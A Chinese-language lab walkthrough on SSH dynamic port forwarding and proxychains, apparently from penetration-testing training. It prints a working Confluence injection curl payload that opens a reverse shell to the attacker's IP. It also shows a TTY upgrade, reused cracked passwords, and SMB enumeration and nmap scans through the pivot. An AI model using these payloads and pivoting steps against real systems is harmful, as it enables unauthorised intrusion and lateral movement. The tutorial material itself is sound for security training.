SSH Tunneling - Dynamic Port Forwarding
SSH Tunneling - Dynamic Port Forwarding
上一篇本機連接埠轉送有一個明顯的限制:每個 SSH 連線只能連接到一個套接字
這使得大規模使用變得非常乏味。幸運的是,OpenSSH 還提供動態連接埠轉送
從 SSH 用戶端上的單一偵聽端口,封包可以轉送到 SSH 伺服器主機有權存取的任何套接字
SSH 動態連接埠轉送之所以有效,是因為 SSH 用戶端所建立的偵聽連接埠是 SOCKS 代理伺服器連接埠
SOCKS 是一種代理協定,與郵政服務非常相似。
SOCKS 伺服器接受資料包(帶有 SOCKS 協定標頭)並將它們轉發到它們所尋址的任何地方。
在 SSH 動態連接埠轉送中,封包可以傳送到 SSH 用戶端電腦上的單一偵聽 SOCKS 連接埠。
這些將透過 SSH 連接推送,然後轉發到 SSH 伺服器電腦可以路由的任何地方。
唯一的限制是資料包必須正確格式化 - 通常由 SOCK 相容的客戶端軟體格式化。
在某些情況下,軟體預設不相容於 SOCKS。
如下網路圖中說明 SSH 動態連接埠轉送
攻擊機 : 192.168.45.183
靶機環境 : 192.168.216.63、10.4.216.215、172.16.216.217
起手第一步先 CONFLUENCE 漏洞進入 192.168.216.63
curl -v http://192.168.216.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.45.183/4444%200%3E%261%27%29.start%28%29%22%29%7D/
nc 4444 Port 就進來了,接著下 python3 -c 'import pty; pty.spawn("/bin/bash")' 確保 TTY Shell
接著使用指令 ssh -N -D 0.0.0.0:9999 database_admin@10.4.216.215
沒有指定要連接到哪,密碼用之前破解的 sqlpass123
參數 -D : 動態連接埠轉送
參數 -N : 防止生成 shell
由於 SSH 動態連接僅支援 SOCKS,儘管我們知道遠端的內網伺服器有啟動 SMB Service
但 smbclient 本身不支援 SOCKS,所以我們無法直接使用
SOCKS 代理無法確定如何處理未封裝在 SOCKS 協定格式中的流量
所以要改使用 Proxychains
Proxychains 是一種可以透過 HTTP 或 SOCKS 代理強制來自第三方工具的網路流量的工具
Proxychains 的工作方式是一種簡單的破解。 它使用 Linux 共享物件預先載入技術 (LD_PRELOAD)在傳遞給它的二進位檔案中掛鉤libc網路函數,並強制所有連接通過已配置的代理伺服器。這意味著它可能不適用於所有情況,但適用於大多數 執行簡單網路操作的動態連結二進位。它不適用於靜態連結的二進位。
讓我們嘗試使用 smbclient 的 Proxychains。Proxychains 幾乎所有內容都使用設定文件,預設儲存在 /etc/proxychains4.conf。我們需要編輯此文件以確保 Proxychains 可以找到我們的 SOCKS 代理端口,並確認它是 SOCKS 代理(而不是任何其他類型的代理)。預設情況下,代理在文件末尾定義。我們可以簡單地用一行定義 CONFLUENCE01 上執行的 SOCKS 代理程式的代理類型、IP 位址和連接埠(socks5 192.168.216.63 9999)來取代該檔案中的任何現有代理定義。
編輯完後使用 └─$ tail /etc/proxychains4.conf 看一下內容 ( tail 會將檔案中的註釋忽略 )
儘管我們在範例中指定了socks5,但它也可以是 socks4,因為SSH 兩者都支援。SOCKS5 支援驗證、IPv6 和使用者資料報協定(UDP),包括 DNS。某些 SOCKS 代理僅支援 SOCKS4 協定。在參與中使用 SOCKS 代理程式時,請確保檢查 SOCKS 伺服器支援哪個版本。
所以可以直接用了,指令如下
proxychains smbclient -L //172.16.216.217/ -U hr_admin --password=Welcome1234
可以看到直接透過 192.168.216.63 的 9999 PORT 然後中間再走 SSH 隧道到 10.4.216.215
再從 10.4.216.215 的另一隻腳直接去訪問 172.16.216.217 的 SMB Service 並列舉如下
接著用 nmap 包在 proxychains 中去掃看看內網的那一台 172.16.216.217 TOP20 Port
proxychains nmap -vvv -sT --top-ports=20 -Pn 172.16.216.217
掃完結果如下
掃描看看 4870~4875 有開哪個 Port
└─$ proxychains nmap -T4 -sT -p T:4870-4875 172.16.216.217
PS : proxychains 真的很慢
練習 :
從 CONFLUENCE01 上的 Web 伺服器下載客戶端二進位檔案 /exercises/ssh_dynamic_client 。使用 Proxychains,針對您剛剛找到的連接埠運行它。 注意:用於建置ssh_dynamic_client二進位檔案的來源檔案可以從/exercises/client_source.zip下載。
先下載 ssh_dynamic_client
http://192.168.216.63:8090/exercises/ssh_dynamic_client
再下載 client_source.zip
http://192.168.216.63:8090/exercises/client_source.zip
一樣解開後檔案放一塊
一樣原本無法執行, chmod 777 改一下權限
將執行檔包在 proxychains 中吧,輸入指令
proxychains ./ssh_dynamic_client -p 4872 -i 172.16.216.217
拿到 flag 了
留言
張貼留言